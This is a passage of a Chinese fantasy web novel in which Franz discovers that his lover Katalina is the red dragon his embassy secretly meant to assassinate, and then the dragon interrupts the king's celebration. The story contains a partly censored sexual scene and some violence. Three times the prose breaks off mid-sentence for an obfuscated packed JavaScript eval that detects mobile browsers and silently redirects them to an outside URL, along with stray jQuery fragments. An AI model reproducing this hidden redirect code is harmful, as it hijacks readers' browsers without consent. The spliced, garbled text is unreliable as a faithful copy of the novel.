弗兰茨半倚靠在岩石壁上,这真的太疯狂了,场景不对,时间也不对。
他没有能力思考,很快就被卡塔利娜裹挟着卷入这不可抵抗的风暴中。
(这里连脖子都没有!!!!)
卡塔利娜的动作可以说是很粗丨鲁,在抵达之前他先体会到的是疼痛。
但在此刻,弗兰茨觉得他就像一把空置了太久的弦琴,需要人毫不吝啬地丨拨丨动,才能确定自己的存在。
.
(而这里也只是在接吻,到底要干嘛!!!)
过了很久,久到最开始喝下去的那点儿酒液早就随着汗蒸腾掉了,尽管如此,两个人的嘴唇还是汗津津地贴在了一起,嘴角破裂,血丝渗出,像两头野兽在相互撕咬。
她给予他疼痛,她让他感到存在。
直到精疲力竭,两人才四肢缠绕地滚作一团,沉沉睡去。
只是还没有休息多久,弗兰茨就在一阵隆隆声中惊醒过来。
他合拢衣服,挣扎着坐了起来,神色萎靡,却见原本躺在身侧的卡塔利娜不知何时被一头巨大的红龙替代了。
是的,这是一头红龙。
这是他们要行赏、要进贡,或者说,要刺杀的,红龙。
他们的话题所指,他们的目标所在,此时此刻,就躺在弗兰茨身边酣睡。
那个小小的项链盒早在最开始的时候就被卡塔利娜扔到了一旁,也许是纵情时分压坏了它,又或者是睡着时不小心被谁踢到,现在它正歪歪扭扭地倒在地上,松香粉洒了一地。
红龙一个侧身,将粉末吸入,于是它睡得更熟,睡得更深,即使将囚室蹬塌了一半,隆隆声响也未能将它震醒。
这是一头,酣睡着的红龙。
弗兰茨不顾身上轻微的酸痛,缓缓地站了起来,他看着眼前这头巨大的红龙,看着它一身如同在烈火中淬炼而出的坚硬的赤红的鳞片,看着它于沉睡中缓缓喷出一口龙息,蓬勃的热气化作云雾——他先是错愕,惊讶,心底掀起狂风巨浪,然后他长久地呆愣住了。
尽管未能亲眼所见,但在此刻,弗兰茨几乎可以笃定,卡塔利娜就是这头红龙。
若是这个猜想成立,那么先前的疑惑就便都有了答案。
为什么她说话的方式与旁人不同,为什么她知道无雪密道,为什么她游刃有余,一直以观察者的姿态参与整个行程。
卡塔利娜,她是一切风暴的中心。
弗兰茨沉浸在巨大的震撼之中,久久不能回神。
突然,一阵急匆匆的脚步由远及近,弗兰茨猛地一回头,却见伍德几人提着武器形容狼狈,显然耗费了一通力气才从其它的囚室里逃出来。
见到弗兰茨,他们也很意外。
伍德以为弗兰茨先他们一步找到红龙,有些不痛快,罗斯的目光则从弗兰茨的脖颈处一闪而过,心中了然。
其余人却是惊疑不定,明明刚从囚室逃出,为何兜兜转转伍德又将他们往巨响处带,似乎争分夺秒地寻找红龙。
“很好,就是现在,”伍德压低了声音,但兴奋仍从他的脸上流露出来,“现在我需要你们助我一臂之力。”
“什么助力?我们不是找出口吗?”亨特大吃一惊,“你怎么把我们带到这里来了?还有罗兰先生,你怎么在红龙的身边?”
“不,当然不,我们现在要完成陛下的最高指令,”伍德的声音逐渐亢奋起来,“我们杀了它!趁龙牙还没有反应过来,趁它睡着了,快!”
“不行!”
听到这话,弗兰茨来不及思考更多,直接上前两步钳制住伍德的手臂。
“为什么不行?!你在做什么?!赶紧给我松手!”伍德气急败坏。
情急之下,弗兰茨无法向他们解释卡塔利娜就是红龙,而且他敢肯定,如果说出来反而会令他们生疑。
他只好往另一个方向引:“你、我们明明是来‘行赏’的,格兰德城的伙伴之所以加入也是为此荣光。伍德先生,现在您却偏偏以一个不可能存在的陛下的密令,诱导我们杀死红龙,您的居心何在?难道您要破坏我们拜里科斯多年的传统?要令拜里科斯荣誉的王冠就此蒙尘?”
弗兰茨的声音有意地越提越高:“更何况您这一路上的表现实在堪忧,这并不是一个合格的使团团长所为,我们完全可以怀疑您的目的。红龙死了,受益的唯有维洛兰王国,难不成你是他们派来的奸细?!”
他的话锋一转,面对格兰德城人柔声道:“伙伴们,我身为驭龙女士的后人,绝不允许这样的事情发生,我相信拜里科斯的子民也是一样。”
话音落下,四周俱静。
伍德神色恼怒,弗兰茨则心跳如雷,阻止屠龙者他一个人显然做不到,唯有拉拢格兰德城人方能一搏。这样的话他不清楚格兰德城人是否会相信,他只能赌,赌伍德不得人心,赌格兰德城人对自己的信任多于对伍德。
格兰德城人面色凝重,弗兰茨心中不安,因此一个不注意就被伍德挣脱。
“滚开,我自己来!”伍德显然将希望寄托于此,他将弗兰茨甩到一边后就要飞身上前。
“铛”的一声响,弗兰茨惊惧地向声源处张望,却见伍德的长剑并没有砍到卡塔利娜的身上——
他被一个龙牙战士挡住了。
弗兰茨轻轻吐出一口气。
伍德的长剑砍在龙牙战士的肩膀上,僵持着发出令人牙酸的吱呀声,下一瞬,龙牙以手为刃,“噗哧”一声,贯穿了伍德的腹部!
“伍德!”
罗斯低喊一声,雷东多则上前两步接住跌倒的伍德,龙牙战士的左手上滴滴答答垂落着鲜血,不远处则有更多的龙牙源源不断地赶了过来。
“快走!”
罗斯当机立断,与雷东多一起搀起伍德,指挥众人向外逃去。
弗兰茨看了卡塔利娜一眼,她的睡姿狂放,显然陷进了绵长的睡梦之中。
龙牙战士越逼越近,弗兰茨无法再做些什么,他转过身匆匆离去。
.
七日后。
格兰德城西港,一艘单桅小船悄然离开。
这是一个明媚的午后,阳光灿烂,海风轻柔。
但纵使碧波荡漾,也难让船上的人心情愉悦。
伍德被龙牙战士刺穿腹部,但幸好没有伤及要害,他拒绝了城主挽留他们修养的“好意”,急急忙忙地想要往王国大陆赶。
因此,他现在只能狼狈地躺在船舱里休息,翻身艰难,唇色发白,和他来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991987|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时的意气风发截然不同。
弗兰茨独自一人站在甲板上,往下望,船头如剪破开海水深蓝的绸布,白浪翻飞,偶尔有游鱼跃动。
自从离开龙穴后,这还是他第一次有空闲的时间独处。
先不说从龙穴逃回格兰德城内的艰辛,单是“杀死红龙”的秘密任务暴露后,他们面临的责难和不信任就足够费神耗力了。
伍德倒是先晕厥为快,剩下的人只能直面以亨特和城主为首的格兰德城人的质疑——打着“行赏”的名头出发,却不让他们成为使团成员,最后还瞒着他们谋杀红龙,显然是拿他们迷惑红龙的视线。
城主拿不出好脸色,亨特和佩斯更是怒火燃烧。再加上小汤普森愚蠢的行为害死了一大半参与的格兰德城人,即使弗兰茨是唯一一个不知情的使团成员,也难逃牵连。
所谓唯一一个。
弗兰茨沉思,他猜测这一次参与“行赏”的使团成员中,有一部分是知情,有一部分则是不知情。
伍德、罗斯、雷东多,他们要么是国王近卫,要么是骑士团成员,因此弗兰茨觉得知情者大多都是这样的角色;而其余人,包括后来加入的格兰德城人不过是一个遮掩视线的幌子。
红龙也可能有所察觉,所以设下了迷雾森林还有彩虹河,双方都在暗地较量,只等最后一刻的到来。
所以,为什么要杀死红龙?
如果前面的猜测没有问题,那么当“行赏”成为“行赏”的那一刻,意味就已经变了。
梅兰妮尔·杜兰德的手札上记录过,她与红龙交好,那条便捷的无雪密道很有可能是为了方便她而修建的。但是后来,她无法前往,红龙巢穴的大量财宝自然招人觊觎。
友谊的“盟约”被矮化为“赏赐”和“驾驭”,王国财政上的负担和英雄史诗必要的构建,杀死红龙似乎已经成为了唯一选择。
怪不得他们一路上的言行有所遮掩,弗兰茨抬头向前仰望,在天与海的交界处,王国大陆的轮廓遥遥可见。
最终的结局将要到来。
一个不知道秘密任务的人撞破了真相,还和其他深知内情的人一同回归王都,并不是什么幸运的事情。
他还活着,不是他们决定放自己一马,弗兰茨很清楚,自己回去极有可能成为秘密任务失败的替罪羊。
就是这样的结局吗?
他仰起头,缓缓闭上眼睛,暖风吹拂,阳光落下,透过薄薄的眼皮,他的眼前呈现一片红色。
红色。
是血的颜色,是红龙的颜色,是和他相互撕咬后卡塔利娜嘴唇的颜色。
面临即将到来的终章,弗兰茨非但没有紧张,反而不由自主地回想起那个发生了一切疯狂事情的囚室。
这是他第一个发生亲丨密关系的对象,而这个对象不是一个人,是一头强大的龙。
在人生前二十四年中,他没有心力去想象将来的对象,而这一次“行赏”,他不仅意外地发生了亲密关系,还冲击了他过去的认知。
太过荒诞,太过惊骇,一回想起来,弗兰茨就难掩神色,好在此时甲板上只有他一人。
还会再见到她吗?
弗兰茨不由得想,如果真的有机会再见到卡塔利娜,场面反倒不会太美妙吧。
19. 第 19 章
离开王国大陆时,使团成员伴随着欢歌乐舞,承载着期待与艳羡;回来时却不敢大力声张,伍德满脸病容,被龙牙刺伤的腹部因为舟车劳顿久久不能愈合,更何况他听说秘密任务失败的消息早已如疾风飞到了王廷中那位至高无上的陛下耳中,这让他担惊受怕,日思夜忧。
然而再怎么期待路况不好,马车受损,他们还是一路顺畅的回到了王都。
弗兰茨本以为他们会直接面见陛下,承受他的雷霆怒火,怎知一封密诏单独将伍德与罗斯召进宫里,他和雷东多则被安置在宫外的金水仙公馆中。
这里不仅有他们两人,先前在海难中受伤的部分使团成员们也被格兰德城城主提前派船送回至公馆休养。
听闻弗兰茨和雷东多的归来,不少人前来探望。
“罗兰先生,为何让愁云笼罩您的眉间,行赏归来,您应当欢欣才是。”
“雷东多,陛下为何只召见伍德团长和罗斯副团长,可是有要事商讨?”
“真奇怪,那个城主即使先前不算殷勤,后面的态度也太过糟糕,我们好歹也算使团成员,居然不等我们痊愈,也不让我们同团长一起回来,急急地把我们送走了。”
弗兰茨待在人群中,与使者们交谈。
正如他料想的那般,同样是使团成员,一部分对于秘密任务一事显然一无所知,他们的脸上因为误会行赏十分成功而发散着骄傲的光彩;另一部分成员则显得心事重重,一副欲言又止的模样。
等伍德和罗斯禀告完后会发生什么?
弗兰茨不由得开始猜测,但无论是哪个方向,结局都不算太好。
然而伍德和罗斯始终没有出现在人群面前,每次行赏后例行举办庆典的消息却四处传开了。
庆典?
收到这个消息时弗兰茨仍在公馆,但他也无需向家中传递消息准备服装,因为历届使者在参加庆典时都有专门定制的制服。
在弗兰茨疑惑不解的准备中,庆典伴随着初夏的雷声盛大展开。
在一场洗净铅尘的暴雨后,六十六门礼炮率先奏响了庆典前奏,道路的两侧已长满了丁香和金盏花,人们挥舞着手绢和礼貌目视着使团成员们骑马而过。
长风吹过,除了花香还带来了泥土轻微的腥气,弗兰茨下意识抬头,天低低地压着,透出一点儿风雨降至的灰色。
向民众们展现完风采,成员们将依次进入王宫,此时,才算庆典真正的开始。
弗兰茨被安排在队伍前半部分,因此他很快就发现,几日未见的伍德和罗斯正走在队伍的最前端。
在与罗斯单独觐见完陛下后,伍德的气色看起来居然比先前要好,不由得让人联想到陛下没有责难于他们的意思。
真的是这样吗?
弗兰茨向更前方望去,在他视线的尽头端坐着一位中年男子,头戴盛冠,面色油润,脸上正挽起和煦的微笑,看起来比实际年龄轻——这就是拜里科斯王国当今的陛下,奥伯伦·温德米尔。
国王的左下首站着一位神色阴沉的女人,她的脸色苍白,看起来比实际年龄大许多,这正是陛下的妹妹,塞莱斯特亲王。
“欢迎归来,我的勇士们。”国王走下王座,展开双臂,于是两侧的人群也微笑着像潮水一样涌了上来。
“欢迎欢迎。”他们高举酒杯欢笑着,声声贺喜叠在一起像蜂群发出纷繁的嗡鸣。
庆典开始了。
.
很舒服。
卡塔利娜从睡梦中醒来,她懒洋洋地舒展了一下身体,于是耳边传来了熟悉的震动声。听声音,大概又是哪一块岩石被她踹倒了吧。
她不为所动地打了一个哈欠,左前肢仍盖在胸口上。
直到又眯了一小会儿,卡塔利娜才算彻底清醒过来。她习惯性地翕动鼻子,嗅闻空气中的味道,来了解在她睡着后龙穴是否发生过什么重要事情。
一般是没有的,但这一次,她嗅到了淡淡的血腥气。
并不新鲜,凝固了一段时间,不好闻,混合着对权力的欲望与野心。
这是,这是谁的血来着?
卡塔利娜甩着尾巴想,将一地碎石从这头扫到那头,又从那头扫回这头,噼里啪啦地响。
啊,是那个,那个自大的人类男性,叫,叫伍德?
卡塔利娜闭着眼又嗅了嗅,于是气味在她的脑海里被逐渐拉长线,被编织,画面重现——
伍德孤注一掷高举长剑,龙牙阻挡,刺伤伍德,惊叫,逃窜,真是很无聊的一个故事。
卡塔利娜翻了一个身,继续嗅闻,嗯,还有一点儿的,是时间再往前一些的味道。
有一点松香粉的味道,一点情欲的味道,一点痛苦又快乐的味道。
这是……啊,这是,卡塔利娜想起来了,她愉悦地喷出一口气,头上的尖刺也沙沙地颤动起来。
这是她与弗兰茨结合的味道。
她慢慢回味了一下,龙穴内的光线向来接近于无,她的举动直接且毫无由头,所以最开始的时候弗兰茨有些惊慌。但他本就无法挣脱她的钳制,酒液更是拖延了反应时间,她施予他的疼痛,她点燃他的揉弄,他只能全盘接受。
她在黑暗中毫无阻碍,毫无顾忌地凝视他,一切都在她的预料之中。
唯一让她略感吃惊的是,酒液挥发后弗兰茨的主动迎合。
这让她意外,也让她兴奋。
先前,她并非没有尝过其他,精灵、矮人、人类,甚至是混血儿,虽然脾性各异,但每一个都模样漂亮。
她的性格强势,在亲密事情上更是掌控欲强,偏好激烈的动作。然而无论哪个物种,在□□上雄性大多都有些奇怪又自负的毛病,因此卡塔利娜和他们的相处时间都不算长,即使最开始很让她愉快,后面也难免扫兴。
直到她遇到这一个。
这一个难得让她满意。
卡塔利娜眯起了眼睛,浅褐色的瞳孔兴奋地不停收缩着。
嗒、嗒。
她的指甲一下一下敲击着地面,思绪翻腾。
之前,她之所以会注意到弗兰茨并不是因为他本人有多特别,而是因为他的身份——驭龙女士梅兰妮尔·杜兰德后人的身份。
她的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991988|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后人不算少,然而参与“行赏”的只有这一个。
当年,梅兰妮尔·杜兰德被驱逐出荣誉构建的中心,以至于无法参与第三次的“行赏”。而她的儿女自然也被划分到防备的范围,只有到了第三代,当“驭龙女士”成为一个虚名的时候,她的后人才会被当成一个象征物加入。
接近这一个,总比接近其它没有参与的后人们容易。
明确了猎物后,她加入,她旁观,她审视,她找到了目标所在,尽管未能立刻拿到,她也享受了意外之喜。
不过——卡塔利娜尽情地伸展了一下身体,赤红色的鳞片从头到脚颤动起来,哗啦啦的响,随后她站起身子扇动翅膀,掀起一阵又一阵狂风——现在,她要去拿取她要的东西了。
卡塔利娜飞出龙穴,阳光落在她身上,像滚烫的岩浆在流淌。
.
“好久不见,罗兰先生。”
赞美与酒盏中,一个冷淡的声音在弗兰茨耳边响起,他回过头,对上了塞莱斯特亲王的视线。
“殿下,”弗兰茨微微颔首,见到她不由得想起行赏的诸多事情,但他语调不变,道,“行赏前我们还见过的,并不算很久。”
“不过,确实发生了很多,不是吗?”塞莱斯特侧过身,看向热闹的人群,伍德正伴在国王左右,接受众人的目光与青睐。
然后她转过身来,细细地打量了一番四周,他们站在宴会厅的角落,虽然周围人也不少,但并没有那么热络:“但又好像没有什么变化?”
“发生的多与少,有没有变化,都不是我能决定的,”弗兰茨微笑,却没有讲述太多,“您没有参与行赏,却似乎了解很多?”
“你确实没有什么变化,说话还是滴水不漏。”塞莱斯特没有回答他的问题,反而也笑了一下,她将酒盏放于一边的桌上,转身离开了。
弗兰茨望着她离去的背影,忍不住沉思,而徘徊在身边的人也终于找到机会走了过来。
“罗兰先生,别来无恙。”
来者笑意盈盈,说着一些客套话,弗兰茨应对了几番,便不顾他们脸上挂着的不满,径直从他们之间脱身而出。
走至观景台,弗兰茨靠在石栏上远望,大街上欢庆的歌舞表演已经结束,挤在街道两旁的人群也都离去,除却飞舞的飘带与旗帜,一切都恢复了往常的样貌。
而在他的身后,功臣、勋爵相互致意,许多使团使者则在讲述一场充满荣誉的旅途,听的人中不乏意外去世的使者的家人,但他们的脸上除却少许悲痛,其余都是极合时宜的骄傲与自豪。
“我明白的,我明白。我亲爱的小儿子牺牲了,他是为王国荣誉牺牲的,我为他骄傲,这样的牺牲是值得的……”
老汤普森眼含热泪,语调激昂,即使隔了一段距离,弗兰茨还是能够清晰地听见他的感慨。
他略带厌烦地呼出一口气,又想到刚刚塞莱斯特说的话。
她提前知道弗兰茨被选为使团使者,那么刺杀红龙一事呢?
她对此又知道多少?
弗兰茨皱了皱眉,天际边,新的风暴正在酝酿。
20. 第 20 章
“诸位。”
奥伯伦·温德米尔开怀地举起酒盏,向各位宾客致意。这位拜里科斯王国的现任国王身材高大,让人瞧不出他的年龄已有五十三岁。
在他执政期间,王国和平安定没有战争,虽然财政略有赤字,但也不算上什么大问题。
唯一令他忧虑的是,他有一位王后,几个情人,却没能得到一个孩子,而他的妹妹,王位的第一顺位继承人,年纪三十且还没有嫁出去。
幸好塞莱斯特性格内敛,又不喜欢接触王国事务,他便顺水推舟,以一个兄长的贴心关怀,让她在学校多读了十年无用的书,又宽容地让她周游王国。
也算得上皆大欢喜。
这是他在位时期第二次举行行常庆典了,场面十分盛大,“行赏”背后的事实却让他并没有那么满意。
不过,一个有耐心、有野心的国王,是不会将喜怒流于颜表的;更何况,他的身体向来健硕,他有信心见到大功告成的那一日。
当那天到来,那会是拜里科斯最值得纪念的一日,而他的名字也将会与这一天一同被历史铭记。
想到这儿,温德米尔陛下不由得有些醉了,没办法,美酒入腹,希望更是醉人。
他站在台阶上,俯视着宴会厅里欢乐的场面,耳边的乐曲与人声合奏,鼓动着他那颗壮硕的心脏。
扑、扑——
他微笑着轻抚了一下胸口。
扑、扑——
他皱了一下眉,怀疑自己的心跳声是否太大了些,怎么连耳膜也轻轻震动起来。
轰!
一声巨响,王宫剧烈地摇晃起来,窗户齐齐震碎,惊慌失措地叫声此起彼伏,奥伯伦脚下一个不稳,重重地坐到了地上。
他惊疑不定,抬头向声源处望去,王宫华美的屋顶被什么巨力无情地绞碎了,碎石四溅,狂风尖啸。灰黑色的天空就在这样的混乱中逐渐从屋顶的大洞里显露了出来,与此同时,警报的钟声才迟迟响起。
当当当——
不过一瞬,钟声被坍塌声与尖叫覆盖了,一只赤红色的巨爪重重地攥住了屋顶,紧接着一颗骇人的龙头探了进来。
“啊,你们好啊。”在众人惊声尖叫声中,红龙微妙地咧开了嘴,就像一个恐怖的笑,浓浓的白烟从它的口鼻出喷了出来,“真是不好意思打扰了你们的聚会。”
是龙,是红龙!
奥伯伦颤抖了起来,他撑着宴会长桌强行站了起来。但这样勉强的动作并不能使他的气势增强几分,他仰视着突然降临的红龙,惊骇地说不出一句话——
它的鳞片与尖刺层层立起,仿佛是从地心深处的岩浆里生长出来的;它的巨口是黝黑的深渊,一排利齿就像断头台上的铡刀,锋利无比;它张开了嘴,于是他恐惧地发现,在这样的利齿之后还埋伏了两排未完全长出的尖牙,于它呼出的白气中若隐若现。
它的利爪,它的身躯,它布满尖刺的长尾,无一不让人意识到——
这是一头,货真价实的,龙。
奥伯伦的牙齿上下飞速切动起来,这是他生平第一次,也是几乎现场所有人第一次,见到一头活生生的巨龙。
没有人敢动弹,连尖叫都被强行吞回肚子里去了。
“怎么都不说话了?”红龙低语,它的声音不像人那般单独的一个声音,它更像是混合了几种声调,低沉如地鸣,但又清晰地震动着人的心。
为什么它会突然到来?
这其实是一个颇为好笑的问题。
一头龙,它有力量,有翅膀,有着一般物种无法拥有的强大力量,它可以随心所欲为所欲为,它自然也可以如风暴一般突然降临,让人措手不及。
但拜里科斯人已经太久没有看到龙了,尽管才过去了一百余年,可他们已全然忘却了龙的力量,沉浸在“行赏”的叙事当中。
因此当他们真正面对一头会喷出烈焰,能轻而易举撕裂他们的巨龙时,他们才会问出一个如此天真又愚蠢的问题——
你为什么会在这里?
你为什么会在这里?
弗兰茨站在人群中,遥遥地望着红龙,望着卡塔利娜。
他望着她一身如同烈火淬炼过的坚硬鳞片,望着她在背后不时扇动两下的美丽巨翼,望着她居高临下,从被撕裂的屋顶中投下名为恐惧的阴影。
他于呆若木鸡的人群之中遥望着她,明明知道再见她时场面不会太美妙,可在此时,弗兰茨的心底竟生出一个念头。
一个“她果真来到了这里”的念头。
“为什么我会在这里,嗯?”卡塔利娜反问道。
尽管她龙身时的声音与她人身的声音大不相同,但她直白的内容,她戏谑的语调,都和她先前与他对话时并无不同。
“为什么我会在这里,你不应该很清楚吗,陛下?”见无人答话,卡塔利娜前肢一撑探进来大半个身体,屋顶上的装饰与碎石纷纷落下,吓得宴会厅内众人又是齐齐惊叫。
“……我,我并不清楚,”奥伯伦·温德米尔颤颤巍巍地回话,他本想展示一国之主的威严,可是一开口,话就变了调子,“阁下今日何故至此,我们人类怎会知晓?”
卡塔利娜看着他脸上浮出的一层油汗,低低地笑出了声,如闷雷滚滚:“你做的好事,你还在这里装傻吗?”
宴会厅一片寂静,没有人敢直视她,更没有人敢回答她。卡塔利娜懒得等待,也懒得催促,于是她半张开巨口,漆黑的喉咙深处瞬时便燃起了火光——先是一点儿橘红色,然后越来越大,白光耀眼,一大团火球含在她尖刀似的利齿间,仿佛下一秒就要喷向众人!
“你!你!”奥伯伦声音变调,他将一直站在身边的伍德抓了过来,大声质问,“伍德团长,你是否违背了王国的荣誉,是否在行赏的途中对红龙做了什么?”
他死死地攥着他的手臂,高举着向红龙急切地示意:“阁下,是他!是不是他在行赏途中冒犯了您?挑衅了您?请不要因为此人不当的言行误会了拜里科斯友好的示意啊!”
“他?”卡塔利娜侧头看向伍德,半晌,慢慢地将嘴合上了。
于是火球就这样湮灭在了她交错的利齿间,大股大股的白烟从中冒出:“那么,你的意思是,是他违背了你的意志,主动走进我的巢穴刺杀我?”
此话一出,众人惊慌的目光全聚焦到了伍德身上,照得他浑身上下冷汗尽出。他难以置信地看向国王,平日里健硕的手臂软绵绵地使不出力气,若不是奥伯伦还拽着他,恐怕此时他已经瘫坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991989|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到地上去了。
“是、是的,”奥伯伦硬着头皮道,“毕竟我们有盟约再先,又怎会毫无缘故地要将阁下谋害呢?”
“道理是这么个道理。”
卡塔利娜的语调似带有一点思考的意味,奥伯伦听了,立马加大了力度,他挺直腰板,仪态也端正了不少:“当然了,红龙一向是拜里科斯的挚友,您看,驭龙女士的后人们也在现场呢。”
今日这场庆典,名义上是为“行赏”成功举行的,驭龙女士的后人们身为“吉祥物”,自然也被邀请赴宴。
梅兰妮尔·杜兰德生前育有两儿一女,女儿嫁给罗兰爵士的小儿子后离开,两个儿子则分别娶了富商家的女儿们。因此到了现在,驭龙女士的孙辈们多达九人。
除了参与行赏的弗兰茨,其余八人都来到了现场,能被陛下提及,于他们而言本该是一件幸事,但在巨龙的扫视下,这样的奖赏通通变成了煎熬。
阿奇尔·杜兰德是驭龙女士长子的幼子,也是弗兰茨最小的表弟,年仅十八,正是莽撞热切的年纪。
对于弗兰茨参与行赏一事,他既是羡慕又是嫉妒。他有着这个年纪的男孩常有的小毛病,自负且总是洋洋得意,却因为蔷薇花一般的样貌让人心生宽容;他总觉得自己能力非凡,在得知使者名单后他总是幻想,幻想若是自己去了行赏定能比那个沉静谨慎的表兄表现得更加出色。
但在此时,当他壮起胆抬头,一不小心扫到了红龙硕大的明黄色眼珠,其间暗含冰冷的审视却吓得他急急地低下了头。
这实在是太吓人了!
弗兰茨是怎么做到前往龙穴受苦的?!
阿奇尔心生惧怕,但男孩子微妙的胜负心让他下意识瞥了表兄弗兰茨一眼,这一眼,让他怔愣了一下。
这是一种怎样的眼神?
对于红龙的扫视,弗兰茨似乎并不惧怕,他仰着头,像仰望一轮硕大无比、炙热无比的太阳一般仰望着红龙。
他的姿态,就像沐浴在阳光中般自然;阿奇尔并不觉得这是因为弗兰茨有着无畏的勇气,这倒像是,倒像是……
阿奇尔想不明白,但这并不影响他将好奇的目光投到这位看似无趣的表兄身上。
“所以呢?事实就是我被刺杀了,而你们还在这儿聚会。”卡塔利娜不耐地开口。
王宫外的卫兵迟迟赶来,开始拿着小铁箭往她挠痒痒,卡塔利娜觉得烦,长满尖刺的龙尾像鞭子似的甩了两下,卫兵就像被狂风卷起的花瓣,四处飞了起来。
听到外面隐约的哭喊声,奥伯伦红润的脸色也变得苍白起来,他轻轻动了一下手指,示意王宫里的护卫暂时退下——现在进攻只会造成己方不必要的惨烈损失。
要想表达自己的歉意,那就要付出实际的行动,奥伯伦强行挤出了一丝笑意,向前走了两步,非常真诚地说:“我们并不祈求阁下熄灭怒火,但这个背判了‘行赏’的家伙必会受到最严重的惩罚——”
“行赏,这难道不是‘进贡’吗?”红龙粗暴地打断国王的发言,明明是一头可怖的生物,可奥伯伦仍从它的脸上瞧出一丝残忍的笑意。
“我要参加,”不等国王遮掩,这头邪恶的红龙又吐露出一句极其惊人的话,“我要参加你们的聚会。”
21. 第 21 章
它在说什么?!
宴会厅内下意识喧哗起来,继而马上陷入寂静,众人惊恐地瞥了一眼红龙,害怕它因此而不快。
“这、这,”奥伯伦在做最后的挣扎,“我们当然诚挚邀请阁下参与庆典,毕竟这场庆典也是与龙相关,只是,只是——您的体型!对,阁下魁梧有力的体型,我们的宴会厅过于狭小,实在没法容纳——”
“你的意思是,体型太大所以不能参加?”
“哦、呃,也许,我的意思是,是的。”
“这并没有什么难的。”红龙武断地否决了奥伯伦的话。
阴沉沉的天空中,它扇动着一对巨翼腾空而起,微弱的日光皆被它尽数遮蔽。这巨大的阴影中,红龙的胸腔处自动燃起一团火光,火光越烧越旺,覆盖了它的全身,几乎照亮了半边天空。
它要做什么?!
在众人惊骇的目光中,那团火球突然如流星坠地,穿过破了的屋顶重重地砸向地面!
“轰隆”一声巨响,宴会厅的地板骤然塌陷了一大块,一大片烟尘飞舞,惹得周围人不住地呛咳。
烟尘渐渐散了,有人大着胆子探头看,只见如蛛网般破裂的地面上,站着一个长着犄角的女人。
她有一头十分狂野的红发,如同熊熊燃烧的火焰,无风自动;明黄色的眼睛很大,睫毛浓密,这本应给人一种明媚轻快的感觉,可她浅褐色的竖瞳和毫无情感的眼神,使得与她对视的人无一不颤栗;她的犄角似羊角,但棱角更硬更分明,层层叠叠地向上盘旋。
除此以外,最令人惊骇的还是她的身体。
她并没有穿常人的衣物,而是在身上覆盖了一层厚厚的鳞甲,从脸颊两侧至耳后,一路向下,鳞片逐渐变大,排列得更加紧密。她的每一处皮肤皆被半透明的晶石一般的赤红鳞片整齐地包裹着,唯独胸口一处的鳞片看起来有些杂乱,像是少了一片后其他鳞片被人为地掰动过。
她的四肢仍是人类形态,只是双手的骨节更大,更硬,指尖红得发黑,指甲并不算长,但十分锋利,幽幽地闪着寒光。
“现在,”她一步一步走出地面塌陷的范围,众人便步步后退,“宴会可以开始了。”
.
虽至初夏,天气还没有彻底热起来,天阴沉着脸使劲地往破了个大洞的王宫内吹风,吹得众人哆哆嗦嗦,却还不得不挥动着僵硬的肢体跳舞。
卡塔利娜在跳舞的人群中游走,她走到谁身边,又或者往谁身上瞥一眼,都会吓得那人面色惨白,几乎要昏厥在舞伴身上。等吓够了人,觉得没意思后,她又晃晃悠悠踱步到餐台旁,将人群惊得往另一个角落躲。
不好吃。
她捏着餐台上徒有其貌的糕点,又尝了一口几近无味的酒液,不悦地皱了皱眉。
这是很正常的事,庆典本是社交的狩猎场,食物也只不过是装点的工具,哪里比得上在山野间炙烤的野味,和从“贝莉的金杯”里流淌出的酒液呢?
卡塔利娜没吃几口就丢下了手里的食物,她转过身来,饶有兴致地看着人类战战兢兢地表演宴会上该发生的事。
真令人恼怒。
看着红龙悠然自得恐吓着臣民的样子,奥伯伦强撑着笑,示意罗斯到他面前。
惹出祸事的伍德早在刚才就被他命人关押下去了,他厌恶被人威胁的感觉,也不喜欢自己的权柄被旁人分走,哪怕只是注意力;他一定要搞清楚,当时到底发生了什么,以及下一步还可以做些什么。
罗斯在他耳旁细语,红龙则无聊地东游西逛,最后在一个使团使者面前停下了脚步。
“——遇到海难后,队伍加入了一个向导,和红龙长得一模一样……”
“——你在这里。”
卡塔利娜站在弗兰茨面前,面无表情地问道:“你怎么不去跳舞?”
“……卡塔利娜。”弗兰茨不知该作何回答,只好很轻地笑了一下,然后又摇了摇头。
众人的目光汇聚在他身上,不用去看,他也能感觉到那些眼神里略带恶意的探究,毕竟这可是红龙第一个以好态度对待的人;不过有些人认出了弗兰茨的身份,联想到是驭龙女士的后人,疑虑也就打消了不少。
